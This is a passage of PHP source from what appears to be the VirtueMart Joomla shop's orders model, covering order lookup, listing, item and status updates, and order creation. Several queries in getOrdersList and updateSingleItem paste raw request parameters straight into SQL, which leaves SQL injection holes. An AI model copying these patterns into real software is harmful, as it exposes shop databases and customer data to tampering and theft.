JRequest::getInt('virtuemart_order_id',$orderID) ; if (!$virtuemart_order_id) { $virtuemart_order_id = VirtueMartModelOrders::getOrderIdByOrderNumber(JRequest::getString('order_number')); } $orderDetails = $this->getOrder($virtuemart_order_id); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin")) { if(!isset($orderDetails['details']['BT']->virtuemart_user_id)){ $orderDetails['details']['BT']->virtuemart_user_id = 0; } //if(!empty($orderDetails['details']['BT']->virtuemart_user_id)){ vmdebug('getMyOrderDetails',$cuid,$orderDetails['details']['BT']->virtuemart_user_id); if ($orderDetails['details']['BT']->virtuemart_user_id != $cuid) { echo JText::_('COM_VIRTUEMART_RESTRICTED_ACCESS'); return false; } //} } } return $orderDetails; } /** * Load a single order, Attention, this function is not protected! Do the right manangment before, to be certain * we suggest to use getMyOrderDetails */ public function getOrder($virtuemart_order_id){ //sanitize id $virtuemart_order_id = (int)$virtuemart_order_id; $db = JFactory::getDBO(); $order = array(); // Get the order details $q = "SELECT u.*,o.*, s.order_status_name FROM #__virtuemart_orders o LEFT JOIN #__virtuemart_orderstates s ON s.order_status_code = o.order_status LEFT JOIN #__virtuemart_order_userinfos u ON u.virtuemart_order_id = o.virtuemart_order_id WHERE o.virtuemart_order_id=".$virtuemart_order_id; $db->setQuery($q); $order['details'] = $db->loadObjectList('address_type'); // Get the order history $q = "SELECT * FROM #__virtuemart_order_histories WHERE virtuemart_order_id=".$virtuemart_order_id." ORDER BY virtuemart_order_history_id ASC"; $db->setQuery($q); $order['history'] = $db->loadObjectList(); // Get the order items $q = 'SELECT virtuemart_order_item_id, product_quantity, order_item_name, order_item_sku, i.virtuemart_product_id, product_item_price, product_final_price, product_basePriceWithTax, product_discountedPriceWithoutTax, product_priceWithoutTax, product_subtotal_with_tax, product_subtotal_discount, product_tax, product_attribute, order_status, p.product_available_date, p.product_availability, intnotes, virtuemart_category_id FROM (#__virtuemart_order_items i LEFT JOIN #__virtuemart_products p ON p.virtuemart_product_id = i.virtuemart_product_id) LEFT JOIN #__virtuemart_product_categories c ON p.virtuemart_product_id = c.virtuemart_product_id WHERE `virtuemart_order_id`="'.$virtuemart_order_id.'" group by `virtuemart_order_item_id`'; //group by `virtuemart_order_id`'; Why ever we added this, it makes trouble, only one order item is shown then. // without group by we get the product 3 times, when it is in 3 categories and similar, so we need a group by //lets try group by `virtuemart_order_item_id` $db->setQuery($q); $order['items'] = $db->loadObjectList(); // Get the order items $q = "SELECT * FROM #__virtuemart_order_calc_rules AS z WHERE virtuemart_order_id=".$virtuemart_order_id; $db->setQuery($q); $order['calc_rules'] = $db->loadObjectList(); // vmdebug('getOrder my order',$order); return $order; } /** * Select the products to list on the product list page * @param $uid integer Optional user ID to get the orders of a single user * @param $_ignorePagination boolean If true, ignore the Joomla pagination (for embedded use, default false) */ public function getOrdersList($uid = 0, $noLimit = false) { // vmdebug('getOrdersList'); $this->_noLimit = $noLimit; $select = " o.*, CONCAT_WS(' ',u.first_name,u.middle_name,u.last_name) AS order_name " .',u.email as order_email,pm.payment_name AS payment_method '; $from = $this->getOrdersListQuery(); /* $_filter = array(); if ($uid > 0) { $_filter[] = ('u.virtuemart_user_id = ' . (int)$uid); }*/ $where = array(); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check('storeadmin')){ $myuser =JFactory::getUser(); $where[]= ' u.virtuemart_user_id = ' . (int)$myuser->id.' AND o.virtuemart_vendor_id = "1" '; } else { if(empty($uid)){ $where[]= ' o.virtuemart_vendor_id = "1" '; } else { $where[]= ' u.virtuemart_user_id = ' . (int)$uid.' AND o.virtuemart_vendor_id = "1" '; } } if ($search = JRequest::getString('search', false)){ $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; $search = str_replace(' ','%',$search); $searchFields = array(); $searchFields[] = 'u.first_name'; $searchFields[] = 'u.middle_name'; $searchFields[] = 'u.last_name'; $searchFields[] = 'o.order_number'; $searchFields[] = 'u.company'; $searchFields[] = 'u.email'; $searchFields[] = 'u.phone_1'; $searchFields[] = 'u.address_1'; $searchFields[] = 'u.zip'; $where[] = implode (' LIKE '.$search.' OR ', $searchFields) . ' LIKE '.$search.' '; //$where[] = ' ( u.first_name LIKE '.$search.' OR u.middle_name LIKE '.$search.' OR u.last_name LIKE '.$search.' OR `order_number` LIKE '.$search.')'; } $order_status_code = JRequest::getString('order_status_code', false); if ($order_status_code and $order_status_code!=-1){ $where[] = ' o.order_status = "'.$order_status_code.'" '; } if (count ($where) > 0) { $whereString = ' WHERE (' . implode (' AND ', $where) . ') '; } else { $whereString = ''; } if ( JRequest::getCmd('view') == 'orders') { $ordering = $this->_getOrdering(); } else { $ordering = ' order by o.modified_on DESC'; } $this->_data = $this->exeSortSearchListQuery(0,$select,$from,$whereString,'',$ordering); return $this->_data ; } /** * List of tables to include for the product query * @author RolandD */ private function getOrdersListQuery() { return ' FROM #__virtuemart_orders as o LEFT JOIN #__virtuemart_order_userinfos as u ON u.virtuemart_order_id = o.virtuemart_order_id AND u.address_type="BT" LEFT JOIN #__virtuemart_paymentmethods_'.VMLANG.' as pm ON o.virtuemart_paymentmethod_id = pm.virtuemart_paymentmethod_id '; } /** * Update an order item status * @author Max Milbers * @author Ondřej Spilka - used for item edit also * @author Maik Künnemann */ public function updateSingleItem($virtuemart_order_item_id, &$orderdata, $orderUpdate = false) { //vmdebug('updateSingleItem',$virtuemart_order_item_id,$orderdata); $table = $this->getTable('order_items'); $table->load($virtuemart_order_item_id); $oldOrderStatus = $table->order_status; if(empty($oldOrderStatus)){ $oldOrderStatus = $orderdata->current_order_status; if($orderUpdate and empty($oldOrderStatus)){ $oldOrderStatus = 'P'; } } // $table->order_status = $orderdata->orderstatus; JPluginHelper::importPlugin('vmcustom'); $_dispatcher = JDispatcher::getInstance(); $_returnValues = $_dispatcher->trigger('plgVmOnUpdateSingleItem',array($table,&$orderdata)); $dataT = get_object_vars($table); // $doUpdate = JRequest::getString('update_values'); $orderdatacopy = $orderdata; $data = array_merge($dataT,(array)$orderdatacopy); // $data['order_status'] = $orderdata->orderstatus; if (!class_exists('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $this->_currencyDisplay = CurrencyDisplay::getInstance(); $rounding = $this->_currencyDisplay->_priceConfig['salesPrice'][1]; if ( $orderUpdate and !empty($data['virtuemart_order_item_id'])) { //get tax calc_value of product VatTax $db = JFactory::getDBO(); $sql = "SELECT `calc_value` FROM `#__virtuemart_order_calc_rules` WHERE `virtuemart_order_id` = ".$data['virtuemart_order_id']." AND `virtuemart_order_item_id` = ".$data['virtuemart_order_item_id']." AND `calc_kind` = 'VatTax' "; $db->setQuery($sql); $taxCalcValue = $db->loadResult(); if($data['calculate_product_tax']) { if(!$taxCalcValue){ //Could be a new item, missing the tax rules, we try to get one of another product. //get tax calc_value of product VatTax $db = JFactory::getDBO(); $sql = "SELECT `calc_value` FROM `#__virtuemart_order_calc_rules` WHERE `virtuemart_order_id` = ".$data['virtuemart_order_id']." AND `calc_kind` = 'VatTax' "; $db->setQuery($sql); $taxCalcValue = $db->loadResult(); } if(empty($data['product_subtotal_discount']))$data['product_subtotal_discount'] = 0.0; // "",null,0,NULL, FALSE => 0.0 //We do two cases, either we have the final amount and discount if(!empty($data['product_final_price']) and $data['product_final_price']!=0){ if(empty($data['product_tax']) or $data['product_tax']==0){ $data['product_tax'] = $data['product_final_price'] * $taxCalcValue / ($taxCalcValue + 100); //vmdebug($data['product_final_price'] .' * '.$taxCalcValue.' / '.($taxCalcValue + 100).' = '.$data['product_tax']); } if(empty($data['product_item_price']) or $data['product_item_price']==0){ if(empty($data['product_tax']))$data['product_tax'] = 0.0; $data['product_item_price'] = round($data['product_final_price'], $rounding) - $data['product_tax']; $data['product_discountedPriceWithoutTax'] = 0.0;// round($data['product_final_price'], $rounding) ; $data['product_priceWithoutTax'] = 0.0; $data['product_basePriceWithTax'] = round($data['product_final_price'], $rounding) - $data['product_subtotal_discount']; } } else //or we have the base price and a manually set discount. if(!empty($data['product_item_price']) and $data['product_item_price']!=0){ if(empty($data['product_tax']) or $data['product_tax']==0){ $data['product_tax'] = ($data['product_item_price']-$data['product_subtotal_discount']) * ($taxCalcValue/100.0); } $data['product_discountedPriceWithoutTax'] = 0.0; $data['product_priceWithoutTax'] = 0.0; $data['product_final_price'] = round($data['product_item_price'], $rounding) + $data['product_tax'] + $data['product_subtotal_discount']; $data['product_basePriceWithTax'] = round($data['product_final_price'], $rounding) - $data['product_subtotal_discount']; } } //$data['product_subtotal_discount'] = (round($orderdata->product_final_price, $rounding) - round($data['product_basePriceWithTax'], $rounding)) * $orderdata->product_quantity; $data['product_subtotal_with_tax'] = round($data['product_final_price'], $rounding) * $orderdata->product_quantity; } $table->bindChecknStore($data); if ( $orderUpdate ) { if ( empty($data['order_item_sku']) ) { //update product identification $db = JFactory::getDBO(); $prolang = '#__virtuemart_products_' . VMLANG; $oi = " #__virtuemart_order_items"; $protbl = "#__virtuemart_products"; $sql = "UPDATE $oi, $protbl, $prolang" . " SET $oi.order_item_sku=$protbl.product_sku, $oi.order_item_name=$prolang.product_name ". " WHERE $oi.virtuemart_product_id=$protbl.virtuemart_product_id " . " and $oi.virtuemart_product_id=$prolang.virtuemart_product_id " . " and $oi.virtuemart_order_item_id=$virtuemart_order_item_id"; $db->setQuery($sql); if ($db->query() === false) { vmError($db->getError()); } } } // Update the order item history //$this->_updateOrderItemHist($id, $order_status, $customer_notified, $comment); $errors = $table->getErrors(); foreach($errors as $error){ vmError( get_class( $this ).'::store '.$error); } //OSP update cartRules/shipment/payment //it would seem strange this is via item edit //but in general, shipment and payment would be tractated as another items of the order //in datas they are not, bu okay we have it here and functional //moreover we can compute all aggregate values here via one aggregate SQL if ( $orderUpdate ) { $db = JFactory::getDBO(); $ordid = $table->virtuemart_order_id; //cartRules $calc_rules = JRequest::getVar('calc_rules','', '', 'array'); $calc_rules_amount = 0; $calc_rules_discount_amount = 0; $calc_rules_tax_amount = 0; if(!empty($calc_rules)) { foreach($calc_rules as $calc_kind => $calc_rule) { foreach($calc_rule as $virtuemart_order_calc_rule_id => $calc_amount) { $sql = "UPDATE `#__virtuemart_order_calc_rules` SET `calc_amount`=$calc_amount WHERE `virtuemart_order_calc_rule_id`=$virtuemart_order_calc_rule_id"; $db->setQuery($sql); if(isset($calc_amount)) $calc_rules_amount += $calc_amount; if ($calc_kind == 'DBTaxRulesBill' || $calc_kind == 'DATaxRulesBill') { $calc_rules_discount_amount += $calc_amount; } if ($calc_kind == 'taxRulesBill') { $calc_rules_tax_amount += $calc_amount; } if ($db->query() === false) { vmError($db->getError()); } } } } //shipment $os = JRequest::getString('order_shipment'); $ost = JRequest::getString('order_shipment_tax'); if ( $os!="" ) { $sql = "UPDATE `#__virtuemart_orders` SET `order_shipment`=$os,`order_shipment_tax`=$ost WHERE `virtuemart_order_id`=$ordid"; $db->setQuery($sql); if ($db->query() === false) { vmError($db->getError()); } } //payment $op = JRequest::getString('order_payment'); $opt = JRequest::getString('order_payment_tax'); if ( $op!="" ) { $sql = "UPDATE `#__virtuemart_orders` SET `order_payment`=$op,`order_payment_tax`=$opt WHERE `virtuemart_order_id`=$ordid"; $db->setQuery($sql); if ($db->query() === false) { vmError($db->getError()); } } $sql = " UPDATE `#__virtuemart_orders` SET `order_total`=(SELECT sum(product_final_price*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid)+`order_shipment`+`order_shipment_tax`+`order_payment`+`order_payment_tax`+$calc_rules_amount, `order_discountAmount`=(SELECT sum(product_subtotal_discount) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid), `order_billDiscountAmount`=`order_discountAmount`+$calc_rules_discount_amount, `order_salesPrice`=(SELECT sum(product_final_price*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid), `order_tax`=(SELECT sum( product_tax*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid), `order_subtotal`=(SELECT sum(ROUND(product_item_price, ". $rounding .")*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid),"; if(JRequest::getString('calculate_billTaxAmount')) { $sql .= "`order_billTaxAmount`=(SELECT sum( product_tax*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid)+`order_shipment_tax`+`order_payment_tax`+$calc_rules_tax_amount"; } else { $sql .= "`order_billTaxAmount`=".JRequest::getString('order_billTaxAmount'); } $sql .= " WHERE `virtuemart_order_id`=$ordid"; $db->setQuery($sql); if ($db->query() === false) { vmError('updateSingleItem '.$db->getError().' and '.$sql); } } $this->handleStockAfterStatusChangedPerProduct($orderdata->order_status, $oldOrderStatus, $table,$table->product_quantity); // } } /** * Strange name is just temporarly * * @param unknown_type $order_id * @param unknown_type $order_status * @author Max Milbers */ var $useDefaultEmailOrderStatus = true; public function updateOrderStatus($orders=0, $order_id =0,$order_status=0){ //General change of orderstatus $total = 1 ; if(empty($orders)){ $orders = array(); $orderslist = JRequest::getVar('orders', array()); $total = 0 ; // Get the list of orders in post to update foreach ($orderslist as $key => $order) { if ( $orderslist[$key]['order_status'] !== $orderslist[$key]['current_order_status'] ) { $orders[$key] = $orderslist[$key]; $total++; } } } if(!is_array($orders)){ $orders = array($orders); } /* Process the orders to update */ $updated = 0; $error = 0; if ($orders) { // $notify = JRequest::getVar('customer_notified', array()); // ??? // $comments = JRequest::getVar('comments', array()); // ??? foreach ($orders as $virtuemart_order_id => $order) { if ($order_id >0) $virtuemart_order_id= $order_id; $this->useDefaultEmailOrderStatus = false; if($this->updateStatusForOneOrder($virtuemart_order_id,$order)){ $updated ++; } else { $error++; } } } $result = array( 'updated' => $updated , 'error' =>$error , 'total' => $total ) ; return $result ; } // IMPORTANT: The $inputOrder can contain extra data by plugins //also strange $useTriggers is always activated? function updateStatusForOneOrder($virtuemart_order_id,$inputOrder,$useTriggers=true){ // vmdebug('updateStatusForOneOrder', $inputOrder); /* Update the order */ $data = $this->getTable('orders'); $data->load($virtuemart_order_id); $old_order_status = $data->order_status; $data->bind($inputOrder); $cp_rm = VmConfig::get('cp_rm',array('C')); if(!is_array($cp_rm)) $cp_rm = array($cp_rm); if ( in_array((string) $data->order_status,$cp_rm) ){ if (!empty($data->coupon_code)) { if (!class_exists('CouponHelper')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'coupon.php'); CouponHelper::RemoveCoupon($data->coupon_code); } } //First we must call the payment, the payment manipulates the result of the order_status if($useTriggers){ if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); // Payment decides what to do when order status is updated JPluginHelper::importPlugin('vmcalculation'); JPluginHelper::importPlugin('vmcustom'); JPluginHelper::importPlugin('vmshipment'); JPluginHelper::importPlugin('vmpayment'); $_dispatcher = JDispatcher::getInstance(); //Should we add this? $inputOrder $_returnValues = $_dispatcher->trigger('plgVmOnUpdateOrderPayment',array(&$data,$old_order_status)); foreach ($_returnValues as $_returnValue) { if ($_returnValue === true) { break; // Plugin was successfull } elseif ($_returnValue === false) { return false; // Plugin failed } // Ignore null status and look for the next returnValue } $_dispatcher = JDispatcher::getInstance(); //Should we add this? $inputOrder $_returnValues = $_dispatcher->trigger('plgVmOnUpdateOrderShipment',array(&$data,$old_order_status)); /** * If an order gets cancelled, fire a plugin event, perhaps * some authorization needs to be voided */ if ($data->order_status == "X") { $_dispatcher = JDispatcher::getInstance(); //Should be renamed to plgVmOnCancelOrder $_dispatcher->trigger('plgVmOnCancelPayment',array(&$data,$old_order_status)); } } if(empty($data->delivery_date)){ $del_date_type = VmConfig::get('del_date_type','m'); if(strpos($del_date_type,'os')!==FALSE){ //for example osS $os = substr($del_date_type,2); if($data->order_status == $os){ $date = JFactory::getDate(); $data->delivery_date = $date->toMySQL(); } } else { VmConfig::loadJLang('com_virtuemart_orders', true); $data->delivery_date = JText::_('COM_VIRTUEMART_DELDATE_INV'); } } if ($data->store()) { $task= JRequest::getCmd('task',0); $view= JRequest::getWord('view',0); /*if($task=='edit'){ $update_lines = JRequest::getInt('update_lines'); } else /*/ if ($task=='updatestatus' and $view=='orders') { $lines = JRequest::getVar('orders'); $update_lines = $lines[$virtuemart_order_id]['update_lines']; } else { $update_lines = 1; } if($update_lines==1){ vmdebug('$update_lines '.$update_lines); $q = 'SELECT virtuemart_order_item_id FROM #__virtuemart_order_items WHERE virtuemart_order_id="'.$virtuemart_order_id.'"'; $db = JFactory::getDBO(); $db->setQuery($q); $order_items = $db->loadObjectList(); if ($order_items) { // vmdebug('updateStatusForOneOrder',$data); foreach ($order_items as $order_item) { //$this->updateSingleItem($order_item->virtuemart_order_item_id, $data->order_status, $order['comments'] , $virtuemart_order_id, $data->order_pass); $this->updateSingleItem($order_item->virtuemart_order_item_id, $data); } } } /* Update the order history */ $this->_updateOrderHist($virtuemart_order_id, $data->order_status, $inputOrder['customer_notified'], $inputOrder['comments']); // When the plugins did not already notified the user, do it here (the normal way) //Attention the ! prevents at the moment that an email is sent. But it should used that way. // if (!$inputOrder['customer_notified']) { $this->notifyCustomer( $data->virtuemart_order_id , $inputOrder ); // } JPluginHelper::importPlugin('vmcoupon'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmCouponUpdateOrderStatus', array($data, $old_order_status)); if(!empty($returnValues)){ foreach ($returnValues as $returnValue) { if ($returnValue !== null ) { return $returnValue; } } } return true; } else { return false; } } /** * Update an order status and send e-mail if needed * @author RolandD * @author Oscar van Eijk * @deprecated */ public function updateStatus( $orders=null,$virtuemart_order_id =0){ $this -> updateOrderStatus($orders,$virtuemart_order_id); return; } /** * Get the information from the cart and create an order from it * * @author Oscar van Eijk * @param object $_cart The cart data * @return mixed The new ordernumber, false on errors */ public function createOrderFromCart($cart) { if ($cart === null) { vmError('createOrderFromCart() called without a cart - that\'s a programming bug','Can\'t create order, sorry.'); return false; } $usr = JFactory::getUser(); $prices = $cart->getCartPrices(); if (($orderID = $this->_createOrder($cart, $usr, $prices)) == 0) { vmError('Couldn\'t create order','Couldn\'t create order'); return false; } if (!$this->_createOrderLines($orderID, $cart)) { vmError('Couldn\'t create order items','Couldn\'t create order items'); return false; } if (!$this-> _createOrderCalcRules($orderID, $cart) ) { vmError('Couldn\'t create order items','Couldn\'t create order items'); return false; } $this->_updateOrderHist($orderID); if (!$this->_writeUserInfo($orderID, $usr, $cart)) { vmError('Couldn\'t create order history','Couldn\'t create order history'); return false; } return $orderID; } /** * Write the order header record * * @author Oscar van Eijk * @param object $_cart The cart data * @param object $_usr User object * @param array $_prices Price data * @return integer The new ordernumber */ private function _createOrder($_cart, $_usr, $_prices) { // TODO We need tablefields for the new values: // Shipment: // $_prices['shipmentValue'] w/out tax // $_prices['shipmentTax'] Tax // $_prices['salesPriceShipment'] Total // // Payment: // $_prices['paymentValue'] w/out tax // $_prices['paymentTax'] Tax // $_prices['paymentDiscount'] Discount // $_prices['salesPricePayment'] Total $_orderData = new stdClass(); $_orderData->virtuemart_order_id = null; $_orderData->virtuemart_user_id = $_usr->get('id'); $_orderData->virtuemart_vendor_id = $_cart->vendorId; $_orderData->customer_number = $_cart->customer_number; //Note as long we do not have an extra table only storing addresses, the virtuemart_userinfo_id is not needed. //The virtuemart_userinfo_id is just the id of a stored address and is only necessary in the user maintance view or for choosing addresses. //the saved order should be an snapshot with plain data written in it. // $_orderData->virtuemart_userinfo_id = 'TODO'; // $_cart['BT']['virtuemart_userinfo_id']; // TODO; Add it in the cart... but where is this used? Obsolete? $_orderData->order_total = $_prices['billTotal']; $_orderData->order_salesPrice = $_prices['salesPrice']; $_orderData->order_billTaxAmount = $_prices['billTaxAmount']; $_orderData->order_billDiscountAmount = $_prices['billDiscountAmount']; $_orderData->order_discountAmount = $_prices['discountAmount']; $_orderData->order_subtotal = $_prices['priceWithoutTax']; $_orderData->order_tax = $_prices['taxAmount']; $_orderData->order_shipment = $_prices['shipmentValue']; $_orderData->order_shipment_tax = $_prices['shipmentTax']; $_orderData->order_payment = $_prices['paymentValue']; $_orderData->order_payment_tax = $_prices['paymentTax']; if (!empty($_cart->cartData['VatTax'])) { $taxes = array(); foreach($_cart->cartData['VatTax'] as $k=>$VatTax) { $taxes[$k]['virtuemart_calc_id'] = $k; $taxes[$k]['calc_name'] = $VatTax['calc_name']; $taxes[$k]['calc_value'] = $VatTax['calc_value']; $taxes[$k]['result'] = $VatTax['result']; } $_orderData->order_billTax = json_encode($taxes); } if (!empty($_cart->couponCode)) { $_orderData->coupon_code = $_cart->couponCode; $_orderData->coupon_discount = $_prices['salesPriceCoupon']; } $_orderData->order_discount = $_prices['discountAmount']; // discount order_items $_orderData->order_status = 'P'; $_orderData->order_currency = $this->getVendorCurrencyId($_orderData->virtuemart_vendor_id); if (isset($_cart->pricesCurrency)) { $_orderData->user_currency_id = $_cart->paymentCurrency ;//$this->getCurrencyIsoCode($_cart->pricesCurrency); $currency = CurrencyDisplay::getInstance($_orderData->user_currency_id); if($_orderData->user_currency_id != $_orderData->order_currency){ $_orderData->user_currency_rate = $currency->convertCurrencyTo($_orderData->user_currency_id ,1.0,false); } else { $_orderData->user_currency_rate=1.0; } } $_orderData->virtuemart_paymentmethod_id = $_cart->virtuemart_paymentmethod_id; $_orderData->virtuemart_shipmentmethod_id = $_cart->virtuemart_shipmentmethod_id; $_filter = JFilterInput::getInstance (array('br', 'i', 'em', 'b', 'strong'), array(), 0, 0, 1); $_orderData->customer_note = $_filter->clean($_cart->customer_comment); $_orderData->order_language = $_cart->order_language; $_orderData->ip_address = $_SERVER['REMOTE_ADDR']; $_orderData->order_number =''; JPluginHelper::importPlugin('vmshopper'); $dispatcher = JDispatcher::getInstance(); $plg_datas = $dispatcher->trigger('plgVmOnUserOrder',array(&$_orderData)); foreach($plg_datas as $plg_data){ // $data = array_merge($plg_data,$data); } if(empty($_orderData->order_number)){ $_orderData->order_number = $this->generateOrderNumber($_usr->get('id'),4,$_orderData->virtuemart_vendor_id); } if(empty($_orderData->order_pass)){ $_orderData->order_pass = 'p_'.substr( md5((string)time().rand(1,1000).$_orderData->order_number ), 0, 5); } $orderTable = $this->getTable('orders'); $orderTable -> bindChecknStore($_orderData); $errors = $orderTable->getErrors(); foreach($errors as $error){ vmError($error); } $db = JFactory::getDBO(); $_orderID = $db->insertid(); if (!empty($_cart->couponCode)) { //set the virtuemart_order_id in the Request for 3rd party coupon components (by Seyi and Max) JRequest::setVar ( 'virtuemart_order_id', $_orderData->virtuemart_order_id ); // If a gift coupon was used, remove it now //CouponHelper::RemoveCoupon($_cart->couponCode); CouponHelper::setInUseCoupon($_cart->couponCode, true); } // the order number is saved into the session to make sure that the correct cart is emptied with the payment notification $_cart->order_number=$_orderData->order_number; $_cart->setCartIntoSession (); return $_orderID; } private function getVendorCurrencyId($vendorId){ $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id`="'.$vendorId.'" '; $db = JFactory::getDBO(); $db->setQuery($q); $vendorCurrency = $db->loadResult(); return $vendorCurrency; // return $this->getCurrencyIsoCode($vendorCurrency); } private function getCurrencyIsoCode($vmCode){ $q = 'SELECT `currency_numeric_code` FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id`="'.$vmCode.'" '; $db = JFactory::getDBO(); $db->setQuery($q); return $db->loadResult(); } /** * Write the BillTo record, and if set, the ShipTo record * * @author Oscar van Eijk * @param integer $_id Order ID * @param object $_usr User object * @param object $_cart Cart object * @return boolean True on success */ private function _writeUserInfo($_id, &$_usr, $_cart) { $_userInfoData = array(); if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php'); //if(!class_exists('shopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $_userFieldsModel = VmModel::getModel('userfields'); $_userFieldsBT = $_userFieldsModel->getUserFields('account' , array('delimiters'=>true, 'captcha'=>true) , array('username', 'password', 'password2', 'user_is_vendor') ); foreach ($_userFieldsBT as $_fld) { $_name = $_fld->name; if(!empty( $_cart->BT[$_name])){ if (is_array( $_cart->BT[$_name])) { $_userInfoData[$_name] = implode("|*|",$_cart->BT[$_name]); } else { $_userInfoData[$_name] = $_cart->BT[$_name]; } } } $_userInfoData['virtuemart_order_id'] = $_id; $_userInfoData['virtuemart_user_id'] = $_usr->get('id'); $_userInfoData['address_type'] = 'BT'; $order_userinfosTable = $this->getTable('order_userinfos'); if (!$order_userinfosTable->bindChecknStore($_userInfoData)){ vmError($order_userinfosTable->getError()); return false; } if ($_cart->ST) { $_userInfoData = array(); // $_userInfoData['virtuemart_order_userinfo_id'] = null; // Reset key to make sure it doesn't get overwritten by ST $_userFieldsST = $_userFieldsModel->getUserFields('shipment' , array('delimiters'=>true, 'captcha'=>true) , array('username', 'password', 'password2', 'user_is_vendor') ); foreach ($_userFieldsST as $_fld) { $_name = $_fld->name; if(!empty( $_cart->ST[$_name])){ $_userInfoData[$_name] = $_cart->ST[$_name]; } } $_userInfoData['virtuemart_order_id'] = $_id; $_userInfoData['virtuemart_user_id'] = $_usr->get('id'); $_userInfoData['address_type'] = 'ST'; $order_userinfosTable = $this->getTable('order_userinfos'); if (!$order_userinfosTable->bindChecknStore($_userInfoData)){ vmError($order_userinfosTable->getError()); return false; } } return true; } function handleStockAfterStatusChangedPerProduct($newState, $oldState,$tableOrderItems, $quantity) { if($newState == $oldState) return; // $StatutWhiteList = array('P','C','X','R','S','N'); $db = JFactory::getDBO(); $db->setQuery('SELECT * FROM `#__virtuemart_orderstates` '); $StatutWhiteList = $db->loadAssocList('order_status_code'); // new product is statut N $StatutWhiteList['N'] = Array ( 'order_status_id' => 0 , 'order_status_code' => 'N' , 'order_stock_handle' => 'A'); if(!array_key_exists($oldState,$StatutWhiteList) or !array_key_exists($newState,$StatutWhiteList)) { vmError('The workflow for '.$newState.' or '.$oldState.' is unknown, take a look on model/orders function handleStockAfterStatusChanged','Can\'t process workflow, contact the shopowner. Status is'.$newState); return ; } //vmdebug( 'updatestock qt :' , $quantity.' id :'.$productId); // P Pending // C Confirmed // X Cancelled // R Refunded // S Shipped // N New or coming from cart // TO have no product setted as ordered when added to cart simply delete 'P' FROM array Reserved // don't set same values in the 2 arrays !!! // stockOut is in normal case shipped product //order_stock_handle // 'A' : stock Available // 'O' : stock Out // 'R' : stock reserved // the status decreasing real stock ? // $stockOut = array('S'); if ($StatutWhiteList[$newState]['order_stock_handle'] == 'O') $isOut = 1; else $isOut = 0; if ($StatutWhiteList[$oldState]['order_stock_handle'] == 'O') $wasOut = 1; else $wasOut = 0; // $isOut = in_array($newState, $stockOut); // $wasOut= in_array($oldState, $stockOut); // Stock change ? if ($isOut && !$wasOut) $product_in_stock = '-'; else if ($wasOut && !$isOut ) $product_in_stock = '+'; else $product_in_stock = '='; // the status increasing reserved stock(virtual Stock = product_in_stock - product_ordered) // $Reserved = array('P','C'); if ($StatutWhiteList[$newState]['order_stock_handle'] == 'R') $isReserved = 1; else $isReserved = 0; if ($StatutWhiteList[$oldState]['order_stock_handle'] == 'R') $wasReserved = 1; else $wasReserved = 0; // $isReserved = in_array($newState, $Reserved); // $wasReserved = in_array($oldState, $Reserved); // reserved stock must be change(all ordered product) if ($isReserved && !$wasReserved ) $product_ordered = '+'; else if (!$isReserved && $wasReserved ) $product_ordered = '-'; else $product_ordered = '='; //Here trigger plgVmGetProductStockToUpdateByCustom $productModel = VmModel::getModel('product'); if (!empty($tableOrderItems->product_attribute)) { if(!class_exists('VirtueMartModelCustomfields'))require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php'); $virtuemart_product_id = $tableOrderItems->virtuemart_product_id; $product_attributes = json_decode($tableOrderItems->product_attribute,true); foreach ($product_attributes as $virtuemart_customfield_id=>$param){ if ($param) { if ($productCustom = VirtueMartModelCustomfields::getProductCustomField ($virtuemart_customfield_id ) ) { if ($productCustom->field_type == "E") { //$product = self::addParam($product); if(!class_exists('vmCustomPlugin')) require(JPATH_VM_PLUGINS.DS.'vmcustomplugin.php'); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); //vmdebug('handleStockAfterStatusChangedPerProduct ',$param); $dispatcher->trigger('plgVmGetProductStockToUpdateByCustom',array(&$tableOrderItems,$param, $productCustom)); } } } } //vmdebug('produit',$product); // we can have more then one product in case of pack // in case of child, ID must be the child ID // TO DO use $prod->amount change for packs(eg. 1 computer and 2 HDD) if (is_array($tableOrderItems)) foreach ($tableOrderItems as $prod ) $productModel->updateStockInDB($prod, $quantity,$product_in_stock,$product_ordered); else $productModel->updateStockInDB($tableOrderItems, $quantity,$product_in_stock,$product_ordered); } else { $productModel->updateStockInDB ($tableOrderItems, $quantity,$product_in_stock,$product_ordered); } } /** * Create the ordered item records * * @author Oscar van Eijk * @author Kohl Patrick * @param integer $_id integer Order ID * @param object $_cart array The cart data * @return boolean True on success */ private function _createOrderLines($_id, $_cart) { $_orderItems = $this->getTable('order_items'); // $_lineCount = 0; foreach ($_cart->products as $priceKey=>$_prod) { if (!is_int($priceKey)) { if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); $calculator = calculationHelper::getInstance(); $variantmods = $calculator->parseModifier($priceKey); $row=0 ; //$product_id = (int)$priceKey; $_prod->product_attribute = ''; $product_attribute = array(); //MarkerVarMods //foreach($variantmods as $variant=>$selected){ foreach($variantmods as $selected=>$variant){ if ($selected) { if(!class_exists('VirtueMartModelCustomfields')) 